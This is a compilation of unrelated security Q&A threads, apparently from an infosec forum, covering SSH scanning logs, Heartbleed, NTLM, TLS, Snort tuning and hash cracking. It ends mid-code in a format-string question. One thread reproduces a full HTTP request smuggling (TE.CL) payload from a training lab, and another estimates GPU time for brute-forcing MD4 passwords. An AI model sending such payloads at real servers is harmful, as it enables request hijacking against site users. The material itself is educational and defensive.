Feb 22 17:40:15 code-storage sshd[17273]: Received disconnect from 147.135.192.203 port 50193:11: Normal Shutdown, Thank you for playing [preauth]
Feb 22 17:40:15 code-storage sshd[17273]: Disconnected from 147.135.192.203 port 50193 [preauth]
Feb 22 17:40:34 code-storage sshd[17275]: Connection closed by 103.237.147.107 port 17583 [preauth]
Feb 22 17:41:12 code-storage sshd[17277]: Invalid user emil from 147.135.192.203
Feb 22 17:41:12 code-storage sshd[17277]: input_userauth_request: invalid user emil [preauth]
Feb 22 17:41:12 code-storage sshd[17277]: Received disconnect from 147.135.192.203 port 50841:11: Normal Shutdown, Thank you for playing [preauth]
Feb 22 17:41:12 code-storage sshd[17277]: Disconnected from 147.135.192.203 port 50841 [preauth]
Feb 22 17:42:05 code-storage sshd[17280]: Invalid user enzo from 147.135.192.203
Feb 22 17:42:05 code-storage sshd[17280]: input_userauth_request: invalid user enzo [preauth]
Feb 22 17:42:05 code-storage sshd[17280]: Received disconnect from 147.135.192.203 port 51356:11: Normal Shutdown, Thank you for playing [preauth]
Feb 22 17:42:05 code-storage sshd[17280]: Disconnected from 147.135.192.203 port 51356 [preauth]
Feb 22 17:42:14 code-storage sshd[17282]: Connection closed by 103.237.147.107 port 64695 [preauth]
Feb 22 17:43:00 code-storage sshd[17285]: Invalid user felix from 147.135.192.203
Feb 22 17:43:00 code-storage sshd[17285]: input_userauth_request: invalid user felix [preauth]
Feb 22 17:43:00 code-storage sshd[17285]: Received disconnect from 147.135.192.203 port 52145:11: Normal Shutdown, Thank you for playing [preauth]
Feb 22 17:43:00 code-storage sshd[17285]: Disconnected from 147.135.192.203 port 52145 [preauth]
Feb 22 17:43:52 code-storage sshd[17287]: Connection closed by 103.237.147.107 port 55122 [preauth]
Feb 22 17:43:56 code-storage sshd[17289]: Invalid user fred from 147.135.192.203
Feb 22 17:43:56 code-storage sshd[17289]: input_userauth_request: invalid user fred [preauth]
Feb 22 17:43:56 code-storage sshd[17289]: Received disconnect from 147.135.192.203 port 52664:11: Normal Shutdown, Thank you for playing [preauth]

There is much more than this, but this is from the last few minutes before I copied the log file.

Is this a brute force SSH attack, and if so should I be worried and what are the best mitigation steps and/or solutions other than changing the server IP?

Is this a bruteforce attack

This looks like the background scanning that any server on the internet will experience.

Should I be worried

Not really, background scanning is completely normal, as long as your passwords are secure background scanning should pose no risk.

What are the best mitigation steps

You can use the following to make the server more secure:

Only allow login using key auth
Disable root ssh access
Use a system like Fail2Ban to block brute force attempts

Should I change IPs

Changing IPs will probably not affect automated background scanning much


API to change passwords? After I learned last week that the login data of some of my accounts was leaked, I had to change my passwords for more than 30 sites. That was tedious! As luck would have it, some days later we learned about Heartbleed. Oh great, now I’ll have to do all this again (and for even more sites now).

Then I read the question on SU: What's an efficient way to change my 200+ account passwords?

I wonder: Can there be a secure way to allow users to "automagically" change their passwords for different services? (assuming a "traditional" site that saves username and password, so no OpenID or alternatives)

Would it be a good idea for sites to offer some kind of API to change the password? If such an API would be standardized, users using a password manager could select all sites they want a new password for, and the password manager could set a new randomly created password for each of those sites.

You've just about answered your question.

Can there be a secure way to allow users to "automagically" change their passwords for different services?  Yes...

A standard open API to allow a user to change a web site password is possible and I say it's a decent idea.

Then again, a standard open API to allow a user to log in to a web site is possible and I say it's a good idea.  But, amazingly, web site login process is becoming less, not more standardized; this basic function of a password manager is getting harder, not easier.

Security Considerations:
Well, it makes it easier for a malicious user to cause a whole lot of trouble by changing many of a user's passwords at once.  Resetting passwords will be as time consuming as ever.  However, it's rare that malicious users change a great many of one user's passwords, even when they have the ability.

The password changer could have its own security flaws too, for example it could choose insufficiently random passwords, and implementations of the API could have security flaws.

On the other hand, it's relatively common for passwords to be compromised in ways that would be ameliorated by more frequent password changes.

So I'd say (with low certainly) that the downside is probably not greater than the upside.

I think a better idea would be to standardize and evangelize a free and open API based on the SRP (Secure Remote Password) protocol, or something like it. With SRP an eavesdropper or man in the middle cannot make many brute force guesses, so strong security can be obtained using relatively short/simple passwords. Furthermore the server does not store password-equivalent data. This means that an attacker who steals the server data cannot masquerade as the client.  And if I'm not mistaken, it means that there is less of a problem when users use the same password with multiple web sites.

UPDATE: In the meantime, there's the LastPass Auto-Password Changing feature.


How big is the man in the middle threat from outside the network when communicating on an intranet? I know that certificates and signatures are really important for preventing Man-in-the-middle attacks, among other things.

I am not concerned about a third party reading the transmission, only altering it. Imagine data that is nowhere confidential, just has to be accurate.

If an application is running on a user computer on the intranet and is communicating with another intranet endpoint. And for the sake of the question, you can assume that everyone on the inside is trustable. Is a man-in-the-middle attack a real risk? Could someone on the outside somehow see the request and fake a response?

I am interested in the intranet part of it. Intuitively, I would guess that it is not possible, let alone risky, but I could be wrong.

So first of all, is it possible? Second of all, is it reasonably risky?

An explanation of how it could be done, if it can, would be appreciated.

Could someone on the outside somehow see the request and fake a response?

Someone who is both physically and logically outside the network cannot fiddle with the intranet. But while  keeping an attacker physically outside is comparatively easy to guarantee, keeping the attacker logically out of the internal network is much harder.

  And for the sake of the question, you can assume that everyone on the inside is trustable.

I don't think that you actually mean "everyone on the inside" but more "everyone who is legally allowed to be on the inside". While you hope that these are the same users this is not necessarily the case.

But have a look at the users who should be legally in the network: even fully trustable users are not infallible and might be tricked into letting the attacker accidentally and unknowingly into the network. Typical current ways are phishing attacks where the user gets for example a mail from a seemingly trusted person with an office document (containing macros) or some executable which looks like an office document or PDF. By "opening" this document the attacker gets access to the internal network and the user might not even have noticed anything unusual.  Also, internal systems might be vulnerable in a way that they might be infected if the user visits an external site from inside the same network. Or how about an attacker taking over the networked printer and from there the network just by tricking someone inside to print some document.

As a result your network might now contain users who should not be legally there and who you can not trust. You cannot really be sure who really has access to your local network unless it is fully separated (physically and logically, i.e. no data exchange by USB sticks or similar) from potentially dangerous networks.

  How big is the man in the middle threat from outside the network when communicating on an intranet?

How big the risk really is depends on the network. The less you know how your network works and what should happen in the network, the more likely some attacker knows more about it and makes use of this knowledge. On the other hand if you spend lots of money to protect your network it is usually since it is really valuable - in which case an attacker will probably also invest more resources to get into it.


How can Heartbleed checkers determine if a site is vulnerable? As far as I know, there is not a way to obtain OpenSSL's version from a website. Then what kind of information does a Heartbleed checker obtain so it can determine if a site is safe from Heartbleed or not?

The Heartbleed bug involves asking the server to return a block of memory that is larger than the actual information being returned. A vulnerable server will return whatever is in memory beyond the data structure it's returning. So, if you ask a server to return the extra memory and it does, then the server is vulnerable.

You can examine the code diffs for the patch here. There's a lot of duplication in the code but the basic change is to add this:

if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard */

So you can see how it now fails if you request a buffer larger than the actual size.


Suitability of encryption algorithms for different content types Are there encryption algorithms that are "more suited for" (i.e. provide greater security when) encrypting certain types of content?

For example, if I have a PDF file that I need to encrypt, is the fact that the content to be encrypted is in PDF format (as opposed to plain ASCII text or MSWord or .xlsx) a factor in deciding which encryption algorithm to use?

No. All modern algorithms (eg. AES) will provide ciphertext indistinguishability, so -if everything is done properly- it doesn't matter the kind of content that you are storing.

Not specific to any encryption algorithm, as it would happen with all of them, but kinda related to the question:

Knowing that it is a PDF (or MSWord, or Excel) would allow some known plaintext for someone attacking the encryption (eg. if I was to bruteforce the encrypted file, I could check if the decrypted content with the candidate key starts like PDFs do).
Simply applying an "encryption algorithm" may not hide the length of your data. You may want to add some padding to the file (or at least use a block cipher mode).
You must use an iv on the files.
Remember that you must verify the contents, not only check if it decrypts to "something". On certain filetypes, a blind attack would be possible where the encrypted file could be modified in order to obtain a different output.


What's the risk in downloading a .pdf from a phishing email? I've received an email which is an obvious phishing attempt. However, a .pdf has been attached which I want to open, just out of curiosity!

What are the risks in downloading .pdf files from unknown sources? Can .pdf's be harmful to my phone or computer, or is it just an attempt to look like it's come from a legitimate source?

Check out this thread on superuser, which explains how PDFs can do damage:

  PDF files are both complex (so easy to have bugs in parsing code that can be used for malware) and have Javascript, which can be used for nefarious purposes as well.

A PDF exploit is one way in which these file types can be dangerous:

  Earlier this month, Belgian researcher Didier Stevens demonstrated how malicious PDFs could use a standard feature of the PDF specification to run attack code hidden in the file; he also demonstrated a way to modify an Adobe Reader warning message in order to further trick users into opening such documents.

If I recall correctly, and a post in the Stack Overflow thread "Safely opening .txt files" supports my recollection, the only safe file type is .txt, but I could be mistaken.


Why should I have my GPG key expire? When creating a key pair using gpg it asks me for an expiration date:

$ gpg --gen-key

Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years

Why is this needed and what are the advantages of having an expiration date?

If your private key ever leaked then at least the damage would be time limited.

https://www.gnupg.org/gph/en/manual/c481.html


Attack vector: Internet Service Provider I'm suspicious. I wanted to forward a port (80) on my router and noticed that port forwarding didn't work properly, it didn't work at all.

So I replaced the router and again, port forwarding was not working.

There are no firewalls running and everything is configured as it needs to be, the only thing not working is the port forwarding on the router. I've tested the range from 0-1024 and also tried to forward the port range over 20000, which didn't work.

Under which circumstances would an ISP level blocking or preventing of port forwarding happen?
Is it possible that the traffic is routed through some device that would prevent this kind of port forwarding?
Is this realistic or just a little bit too paranoiac?

Thank you

ISPs cannot block port forwarding. Port Forwarding is an action of a service. They can block ports, and initiating connections incoming to your IP.

In order to troubleshoot, you will need packet traces before and after your router. This is not an InfoSec problem, this is a basic networking problem.


Stolen MacBook: should I worry about my data? Unfortunately, someone stole my laptop (a MacBook) and I did not realize that for 48 hours. Now, this was a work laptop and my company's security team is going to wipe the laptop remotely as soon as it connects to the internet. Which is nice.

However, what I am worried about is more about what could happen in those first 48 hours.

My passwords were all over the place (auto-fill on my browser, etc.)
My Evernote had some good amount of passwords

What I am guessing is that since it was stolen from my car, someone stealing it was interested more into selling parts of it or wipe it off and re-sell it (the hardware, not the data). At least, I hope that.

Now, in the worst case scenario, assuming it was stolen by a person who is dedicatedly interested in data: What are their options? Can they really crack open a MacBook and get my data?

If so, what are my options?

Your data is probably* safe if the following three criteria are met:

You have FileVault turned on (full disk encryption).
Your laptop requires a password on boot and every time you open the lid (auto screen lock).
Your password is not well known (easy to guess).

TL;DR;

If you don't have FileVault turned on, then your data is in plaintext and anyone can read it all.

If you had a password, and that password is required every time you open your screen, AND you had FileVault turned on (or your company did), then they need to guess your password to decrypt the data.

But, if you had a dumb password, they can probably guess it. Check out haveibeenpwned.com to determine if you had a dumb password.

If you had a strong password, file vault, and your device requires you to enter a password, then you're probably ok.

Still, why not go through your accounts and reset them anyways. Now's a good of time as any. Get a password manager like 1password and let it autogenerate passwords for you.

Choose a not-dumb password (like a truly random string of 10 characters - google a pw generator) for your password manager and memorize it.

Do the same for your new laptop password.

You'll have to memorize two crazy passwords. Write them and put them in your wallet until you do remember them.

Alternate approach is the xkcd: Password Strength method of using a few words together. I personally find this easier to remember, but more difficult to type than a 10-character random password.

(*) Having all three of those three things true makes it "very unlikely" that someone will get your data; however, a motivated, and well resourced adversary, can eventually guess every single possible password you could have uses and decrypt the contents of the hard disk. That said, you have plenty of time to rotate your passwords.


VPN Authentication and Network Administrators Is it possible for a network admin (or attacker) to monitor traffic sent to a VPN server during authentication and end up being able to decrypt the data as if they were the legitimate user? I don't understand what stops someone with that kind of access from being able to just copy the same packets that are sent to the user during login and "clone" all the traffic sent during the VPN session. I know there's all that key exchange stuff that goes on, and while I don't understand it I still don't see why it wouldn't also be available to someone with sufficient access to the traffic.

Hopefully someone can clarify this for me.

Thanks.

It depends on how your VPN organised. Genrally, Asymmetric Cryptography is used for such cases (the same is used for TLS (https://), for example)

Here are 2 examples. They are simplified heavily, just to show main idea.

Server may have private and public keys. One may use public key to encrypt anything, but only private key may be used to decrypt it. Example of algorythm that allows such public/private key is RSA. Server sends you public key and some random number. You encrypt this random number and your password with this key and send it back. Only server may read it since only server owns private key. Then, I connect to server. Server sends me different random number, so I can't simply reuse your packet.
Diffie–Hellman key exchange algorythm may be used by client and server to find some shared key. There is some math, so you may check description here: https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange

Besides Diffie–Hellman you should also read about Rivest-Shamir-Adleman (RSA) and  Digital Signature Algorithm (DSA).


Two-way SSL/TLS, client host verification Using an encrypted connection with server authentication, host verification is enabled by default. However if I would like to authenticate the client using certificates as well, I am guessing that host verification can used be as well.

Am I correct in that assumption?

Cheers

Yes, TLS has provision for mutual authentication during the handshake process.

In this case, the server will add a certificate request message to his handshake along with his certificate server and server key exchange (so it will happen very soon in the handshake).

Note that mutual authentication is compatible with TLS/SNI because the SNI header is added to the client hello message which happen before the server sends his client certificate request message back.


What would be the best way to evaulate the database management systems? I am an Information security analyst, looking for creative, non traditional, and unapproved ways to query/evaluate DBMS applications that includes SQL Server and PostgreSQL. Goal here is to protect the organization that I work for from nefarious SQL injections or data leakage. I would appreciate if anybody can provide links to the documents/books/queries/tools that are applicable in current environment.

I am not sure that I understand your requirements, so I will assume you want to prevent offering vulnerabilities to nefarious actors, rather than pen-testing until doomsday.
Further assumptions:
- You are connected enough with your organization to review source code with the developers.

I would start with the OWASP recommendations.
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Much of this will rely upon scanning the source code rather than rigging up a framework to feed your databases sketchy queries.  Please let me know in comments if this is NOT what you mean, or if your INFOSEC group is not tied in with the developers.


Snort "Protocol mismatch" from SSH preprocessor TL;DR -- What does "protocol mismatch" even mean, and how is this a threat? Can I just suppress it?

We are busy tuning Snort. The SSH preprocessor section looks like this, which comes directly from the Snort.org default configuration:

preprocessor ssh: server_ports { 22 } \
                  autodetect \
                  max_client_bytes 19600 \
                  max_encrypted_packets 20 \
                  max_server_version_len 100 \
                  enable_respoverflow enable_ssh1crc32 \
                  enable_srvoverflow enable_protomismatch

Currently we are seeing a large number of alerts on "[128:4:1] (spp_ssh) Protocol mismatch"

The alerts seem to happen in "spikes" where there will be 1000+ alert messages indicating this sort of traffic from host A to host B, over a relatively short timeframe. (I guess that's the definition of "spike" but you get my drift). Anyway, here's an example alert message (this is all one line -- the backslashed-newlines were added by me to make this easier to read):

02/24-17:21:22.386376  [**] [128:4:1] (spp_ssh) \
Protocol mismatch [**] [Classification: Detection of a Non-Standard \
Protocol or Event] [Priority: 2] {TCP} \
10.99.1.44:58391 -> 10.99.1.88:22

Details

The "10.99.1.44" server

Is a jump host
Only actual persons will ever use that to SSH to the ".88" host from. i.e. there's no automated SSH sessions ever spawned from the ".44" host

The "10.99.1.88" server

Is running Snort
Hosts a web service that is used by persons connected to the VPN (i.e. via a browser), and by services within out build environment (i.e. via automated HTTP requests)
Only serves things over 443 to automated services. i.e. There's no SSH-based automation that would hit the ".88" host

Today's example spike happened while I had SSH'ed to the 10.99.1.88 host via the 10.99.1.44 host.

i.e. ssh -> 10.99.1.44 -> ssh -> 10.99.1.88

I needed a shell on the 88 host to do some maintenance.

Around that time Snort freaked out. We had around 1,300 messages identical to the one I posted, above.

There were no other users SSH'ed to either box at that time
There was no indication in the syslog of a cron job running that might have been using SSH on either box

Finally, we have this message in great abundance on our puppetmaster. For no apparent reason, since most of the caveats described above -- i.e. SSH isn't being actively used -- apply to that box as well.

I've browsed the Intergoogles and basically come up with two solutions:

Remove autodetect from the SSH preprocessor config stanza
OR add suppression rules to threshold.conf

I can do either, but it seems like neither is ideal since they both involve just shutting the thing up without understanding the root cause. I haven't been able to actively reproduce this issue, and I haven't come up with any ideas as to what could be causing it other than maybe a bug in the SSH preprocessor.

The "protocol mismatch" error message happens when something connects to the SSH port on a client version it doesn't support, it can also be generated when something tries to hit SSH port that isn't an SSH client, e.g. a web browser.  But that's not the issue you're describing.

I've seen this particular error message come up before, and a quick google search reveals (http://seclists.org/snort/2009/q4/534) that there was a bug in old snort versions causing false positives on the protocol mismatch.

Further to the link above, and also from my own experience -- the "protocol mismatch" snort alert isn't the most informative of a potential intrusion and there aren't many exploits associated with triggering it.  So, like many pre-canned snort alerts, this particular one in your environment can be disregarded as "noise" and safely remove it in threshold.conf.  This way, other alerts related to the ssh preprocessor will still be generated but that particular one will not generate noise.


HTTP request smuggling, basic TE.CL vulnerability Im trying to learn about http request smuggling and Im trying out the labs for burp suite. Im stuck on the TE.CL vulnerability, Ive clicked on the solution (see below:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl) but the request just times out. Ive disabled 'update content length' and changed out mylabid with the current lab id. Is there another setting I am missing?

POST / HTTP/1.1
Host: mylabid.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n\r\n

The "\r\n\r\n" words. It's like the image, it's interpreted, not written


Why is Windows password security designed this way? Let's start with the LM hash.
The LanMan hash had MONUMENTAL security flaws, like the password being case insensitive (converted to upper), which reduced the keyspace for a brute force attack. On top of that, >7 character passwords were split into two hashes, reducing the brute force time exponentially. And it is noted that it's not even a true one way function. Next came the NTLM hash, designed to fix the flaws that LM hashes had. It is better, but it is still missing basic password security features, like computation time and salts. Windows passwords are not salted, and the NTLM hash can be calculated really fast with little overhead, making a perfect target for brute force and rainbow table attacks, not to mention bypassing the password entirely by passing the hash.

My question is, why did Microsoft design the password security this way? The weaknesses in LM make it seem almost like Microsoft deliberately put in back doors. Even MD5 would have been much more secure. Why is there LM still supported in some Windows versions, and why isn't NTLM more secure?

Well, first off with LanMan you have to remember that it was designed and implemented in a very, very different security context than we're facing today, or even than we were facing when NTLM & NTML v.2 were designed and implemented.  It's probably going a little far to say that Microsoft--really, the tech industry in general--didn't care much at all about security back in the mid 1990s when LanMan was introduced. But as a concern and a priority it was a very, very different time. Windows didn't even have a multi-user model back then. Or administrator vs. user account privilege levels. Or interface with any kind of Windows Server network with anything like any Active Directory/ enterprise grade authentication/identity system.  It's sort of like the question of why the earliest versions of Internet Explorer and Netscape Navigator had almost no security protections whatsoever compared to the major browsers today.  Different circumstances, different threat environment, different level of technological knowledge about how to build more secure system elements.

Regarding NTLM (and even NTLM v.2), yeah that's a bit harder to absolve Microsoft of. Was NTML a considerable advance over what come before it? As you point out, absolutely. Has Microsoft tried to move away from NTLM via emphasizing using Kerberos authentication as a much more secure model (at least where Kerberos is used)? Yes. But has Microsoft propagated unsecure practices by continuing to rely on NTLM v.2 in the many situations that Kerberos doesn't cover? Given the weaknesses in the NTLM approach that you talk about, I think the answer to that has to be "Yes".

Why is NTLM still in use? Why hasn't Microsoft replaced it with something more robust to cover circumstances where Kerberos isn't used?  Here we're getting more fully into speculation territory. But if I had to speculate, I would say that (1) one has to remember how intensively Microsoft has historically been committed to backwards compatibility, especially in the networking and authentication areas; and (2) there actually is a pretty good question about how much extra security that an NTLM replacement would really provide. As you pointed out, NTLM has plenty of problems in terms of its resistance to cracking the hash, but most Windows authentication bypasses aren't accomplished by stealing an NTLM hash and cracking it to gain the cleartext password. Instead, attackers often take the easier ways of (a) passing the hash, if we're talking about non-Kerberos authentication to a network, or (b) just resetting an administrator password via command line in the recovery environment if you have local access to a machine. Considering those points, and that the only really secure way of locking down the contents of your PC against a local attacker--full disk encryption with Bitlocker, with TPM unlock--has nothing to do with NTLM, one can argue that replacing NTML v.2 with some kind of modern,much harder "NTLM v.3" (or whatever you might call it) would do less good than one might think.

(Still, I do have to agree with your sentiment. In my view, it's something Microsoft should have done. In the Windows Vista or Windows 7 eras.)

All of the above being said, I do think that with Windows 10 Microsoft has actually begun to make some first major steps toward finally getting away from NTLM--and password hashes vulnerable to theft/passing/cracking altogether, actually. Credential Guard is designed to use a virtualized secure area to safeguard authentication info--starting with password hashes--against theft or cracking even if the main OS kernel is fully compromised. The combination of Passport and Windows Hello is designed to do away with password hash based-authentication altogether: entering a password, PIN, and/or using biometric authentication just unlocks a private key for use to sign an authentication ticket in a secure part of the OS, which is then sent to the remote server. (Or, at least, that's the way things will supposedly work when all the promised Passport and Credential Guard capabilities are actually,finally delivered into Windows 10. Right now the functionality of those elements are only partially in the OS and/or enabled.)

So, change is coming. Sort-of. Slowly.


Tools to check the firewall Configurations as per PCI standards How do you audit the Firewall rules and configuration policies as per PCI standard.
What are the tools used for it.

Firewall auditing requires knowledge and interpretation, so there are no tools that will go 'ding!' and tell you you're compliant.  However, various tools can be used to make the review and audit process easier.  Two that I've used are:

Tufin SecureTrack
Nipper Studio

And many tools will do, e.g. see Firewall rule base documentation and migration tools.


Obscure username input on login forms? Not (necessarily) a duplicate of: Should both user ID and Password be masked for online banking?
Definitely not a duplicate of: Should usernames be kept secret?

I can sense your finger on the "mark as duplicate" button so first of all, let me clarify that for masked I do not mean secret. I mean masked only while inserting username and password, and not for the obvious reason you would expect (keeping it secret).

I remember when I was at the college, a professor of ours revealed his password to the entire classroom. His computer was connected to the projector, and he was entering his login data to access a sort of private area containing (rather unimportant) protected information. He entered the username, but then, when he was entering the password, the page unexpectedly refreshed and he ended up writing the password completely unmasked on the username field.

Of course the username was not meant to be secret, as it was just his well-known e-mail address but, you know, he was using that password for... kind of everything, including, of course, that particular restricted area.

Bottom line is: according to me, when users are entering login information, they should be into a "protected zone", in terms of UI, where they can make whatever silly mistake without their password being revealed to people watching. After this incident, I started paying attention to this issue and I found that even I did myself this mistake several times, especially when inserting SSH login data (because maybe the Enter key was just a little bit sloppy), but fortunately no one was watching.

I think the username, for public it might be, should be masked as well, to protect the password.

Theoretically, the professor should have disconnected the computer from the projector during the class. Any number of things can go wrong when typing a password that should be encoded in front of a class of students.

It would give the impression that the username needed to be kept secret and would make users think that the username was highly protected by the application to a similar degree as the password. If your application is such high security that you would already be storing the username in a hashed or otherwise further secured manner, the login page could mask the username as well, but there may be usability problems:

If the username were to be masked, there would be no autocomplete for that field, probably making people annoyed at the extra time required to access their account.
Users may want to try out different usernames to see which one works. If they can't see it and can't see the password, they will have a more difficult time figuring out if they typed the username wrong, the password wrong, or if the username (or email) was not the one used to register in the first place. Users could simply use a text editor beforehand to make sure, but that kind of defeats the purpose.
The chance of typos is greater. Because users can't see the username, their chance of making a typo is greater since they may have made a mistake in either the username or the password field.
Users do not get warned when caps lock is on (unless the application tries to do this). Normally, they may type their username and realize that caps lock is on. Then, they turn it off and restart. Without seeing either field, they would not notice this.


TPM based authentication without a trusted third party Consider a scenario - Device manufacture provides in advance the TPM’s endorsement key certificate(containing EK public key) for device to be deployed.

In general, what are the TPM operations that needs an endorsement key(EK) handle ?
What is the root key for attestation identity key (AIK). Is it EK or
SRK(storage root key) ?
EK & Device authentication - Is there any TPM operation like
signing/crypto that could be done with an EK such that I could use
the EK public part to authenticate the device?
If we could never traceback/authenticate with EK, why is trousers
API  providing a handle to EK ? I feel trousers could have
internally decided when to use EK and spared the application
programmer from that implementation detail.

TPM operations which need the EK:

Take the ownership
Clear the TPM
Change the SRK
Change the Owner(obviously)
Allow SRK read using SRK auth (tpm_restrictsrk -a)
Basically, these are all administration operations.

The root key for the AIK is the EK. The goal of the EK is to prove everything we send comes from a valid TPM. So yes, you can use your EK to sign, but there will be a privacy issue: everytime you use your EK, you will be traceable. That's why the AIK was created, to prove you are a valid TPM without getting traceable by anyone(Well at least by the CA, and that's why we use DAA).

Your forth question is interesting because you aren't the first one to ask it. Therefore the TPM 2.0 specifications separate all these operations. There is the endorsement hierarchy (administrator who manage the privacy domain), the storage hierarchy(user who manage the security domain), and the platform hierarchy(platform which can deny the use of the other hierarchies).

Obviously, the Endorsement Hierarchy may generate Endorsement Keys which you can use to sign your datas.

For more informations you can check this pdf


In theory, can a restricted-use ToR network be created with "Verifiable Encryption"? How should I approach learning it? I have mobile devices (low power, low bandwidth) need to act as a proxy for certain types of  P2P encrypted data, such as voting, bitcoin payment, or other specific-purpose usage, and I want to make sure that each phone's data service isn't abused.

To that end I need to verify

The general contents of the data going through my service
Not know what the data is exactly (a range-check is sufficient)

Question

Is Verifiable Encryption the correct thing to learn to solve this issue?
What is it, and how does it work?
What roadmap should I follow when learning it?

Encrypted Data

The data will be a ZKP (like Bitcoin) and any of the following

A vote for a candidate
A bid for a product (eBay)
A bitcoin-style purchase (where the Tor part anonymizes the buyer and the merchant) with a .onion equivalent

It sounds like what you really are looking for is a zero knowledge proof (or several zkps).

You want to prove that (1) data belongs to a given class (general contents) and (2) that the data is within some limits (upper/lower bounds).

Since you also want to transmit the data through the system, you'll need to bind the proof to the data in such a way that the proof is valid only for the ciphertext being transmitted through the system.

One possible way to do this is to have both the sender and the recipient conduct zero knowledge proofs.

In general this is a very hard problem, but if you can limit the scope of the problem it should be solvable.

I'd recommend starting with learning about zero knowledge proofs, and then looking at some real world examples. One particular example that comes to mind is the use of zero knowledge proofs in the context of nuclear weapon verification.


Is this possible to brute force 25 billions billions password in less than a month? i'm using Hashcat for a while & try to solve this challenge: is this possible to crack at least half the possibilities combinations password of 10 character using 94 characters from keyboard with md4 hashing. I calculated & there 53,861,511,409,489,970,176 combinations, there was a service that offer using 2petaflops supercomputer for free, how fast would it be if i run on it?

Yes, it's possible and it can even be done relatively fast.

Any High End Radeon manufactured in the last years (anything since 5870 forward (and above at performance) but preferably RX580/570 or Vega) or the 1070/1080 series (even 1060 can do relatively good). A good performance reference is for the card to have at least 2T-FLOPs processing power (which all mentioned ones have).

If we take the example of the minimum I stated: Radeon 5870 - near full processing power will try the number of combinations you stated (53E) in approx 283 days. A 1060 half that. One RX580 1/3 that (<95 days). 4xRX580 can do it in under 25 days.

If you use more cards you get less time.

And since 2 TerraFLOPs can do it in 283 days, 2 PetaFLOPs (that you mentioned as a service) can do it in 0.276 days - aka under 7 hours.

Note: the above assumes a good software is used that can take advantage of near the full processing power of a card.

Note 2: For only half of your stated value, of course, only have the specified time will be required.


Is it possible to get malware from .txt files? I want to know is it possible to get malware from .txt files? I think it's possible, because a program executes the .txt file and program may get infected.
If it is, how?

Depends on the text editor you use, some of them may have known vulnerabilities that may allow it, but just from opening an txt file with notepad wont do any harm.
For example word allows macros to be used, so you can create an malicious macro and download malware or do something else, pdf can also contain an malicious codes.


What are downsides of not using SSL/TLS but using same encryption as SSL/TLS does? What are the downsides of not adhering to TLS, eg, directly using encryption algorithms (2048-bit RSA, 128-bit AES both with proper padding) provided by SSL library to generate keys, encrypt, use proprietary "certificates" and proprietary protocol in general. First thing that comes to mind is that this will prevent downgrade attacks, and allow developer to implement mechanism against timing attacks, my main reasoning here is that to be sure that library won't do anything dangerous behind the scenes.

The biggest downside is that you're expecting that because you're writing something smaller, it will also be safer.  In reality, this is really hard to do.

Given that you must control both ends of the connection in order to even consider implementing a custom protocol in place of TLS, there are other way you can increase the security and reduce the attack surface without going through the exercise of inventing and implementing a custom protocol and hoping it's safer.

For instance:

You want to prevent downgrade attacks?  Disable everything except for TLS v1.2 on your servers and clients.

You want to ensure only strong cipher suites are used?  Disable anything except for your AEAD cipher suites.

You have lots of options when using existing TLS libraries to lock them down and harden them, and even with all of their warts, they've undergone far more analysis than a custom protocol you build ever would.  You're better off not re-implementing the wheel, but instead simply taking advantage of your opportunity to configure TLS as securely as possible.


OpenSSL TLS 1.1 Cipher Suites https://www.openssl.org/docs/apps/ciphers.html listed a set of cipher suites supported by different protocol versions, but I don't see a TLS 1.1 list.

Anybody could help me to understand where to get a lit of cipersuites supported by OpenSSL TLS 1.1?

The man page says it:

  Note: there are no ciphersuites specific to TLS v1.1.

TLS 1.1 uses the same cipher suites as TLS 1.0, therefore OpenSSL does not make a distinction between the two. When it supports a cipher suite for TLS 1.1, it also supports it for TLS 1.0, and vice versa.

TLS 1.2 has its own set of cipher suites because these include the definition of the underlying hash function for the "PRF". The PRF is an internal construction in TLS, which is used to derive the master secret into actual encryption and MAC keys, and similar usages. In SSL 3.0, TLS 1.0 and TLS 1.1, the PRF uses a combination of MD5 and SHA-1; in TLS 1.2, the PRF relies on a specific hash function which depends on the cipher suite.

TLS 1.2 also adds support for cipher suites with authenticated encryption, i.e. GCM. These do not work with previous TLS versions.


.htaccess protected folder except IP I created an e-shop with e-books and they are stored in specific folder which is protected by a .htaccess file :

Order deny,allow
deny from all
allow from 127.0.0.1

The IP is the IP of the webpage, so it is inaccessible to anyone except for the scripts. I was thinking about adding .htpasswd, but it seems like overkill.

Is this enough to protect this folder?
Is it possible to spoof the IP so that sooner or later someone will find out the folder and how it is protected?

Spoofing an IP will not lead to being able to download the files, as the response for this request will be send back to the spoofed ip, which would have to be the servers ip in this case.

However, if an attacker can upload his own php page through slqi or something else, they can send requests that originate from the server itself (so 127.0.0.1) and would bypass the protection on the folder. But this really depends on the code used for the website.

So if the code is solid, this should be enough protection.


Shellcode in a jpg/png If it's possible to write shellcode in a jpg file, why aren't all the webapps where you can upload an image infected?

In a client computer, is it necessary exploit the jpg viewer in order to run the shellcode?

Simply put, there are various methods to masquerade a shellcode as a jpg file, but the file still needs to be executed. Whether you can do this depends on a variety of factors such as server and OS configuration. If you can somehow include the uploaded shell in the execution path (locally or remotely) and if specific security mechanisms are not in place, then yes, it's possible to execute the "jpg" file.

So even if you can upload a masqueraded jpg, it does not necessarily mean you can execute the embedded shellcode. What's more, there are methods to detect the validity of a jpg file (though even they can be bypassed with more advanced masquerading methods)

NOTE: The shellcode is merely the payload for the attack, and will only work if an exploitable vulnerability exists in the viewer and it is somehow possible to execute the jpg file.


auditd-like software for Windows? I need to know how to log users and admins activity on Windows, like auditd does on Linux. After searching, the only thing I found was this Audit account log-on events policy option for Windows 7.

Is there some standard used for Windows servers and workstations?

The logging options available in Windows run pretty deep, so choose what you want and set your policies appropriately.

To give you a flavour of what options there are (and are recommended) have a look at the Audit Policy Recommendations.


Is there a way to evade -Wformat-security? I am trying to learn about format string bugs and I found the gcc option -Wformat-security to raise a warning when a potential format string bug is found. I would like to know if there is a way to evade this check and still have a format bug problem. For example:

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char * argv[])
{
  char outbuf[32];
  char buffer[32];

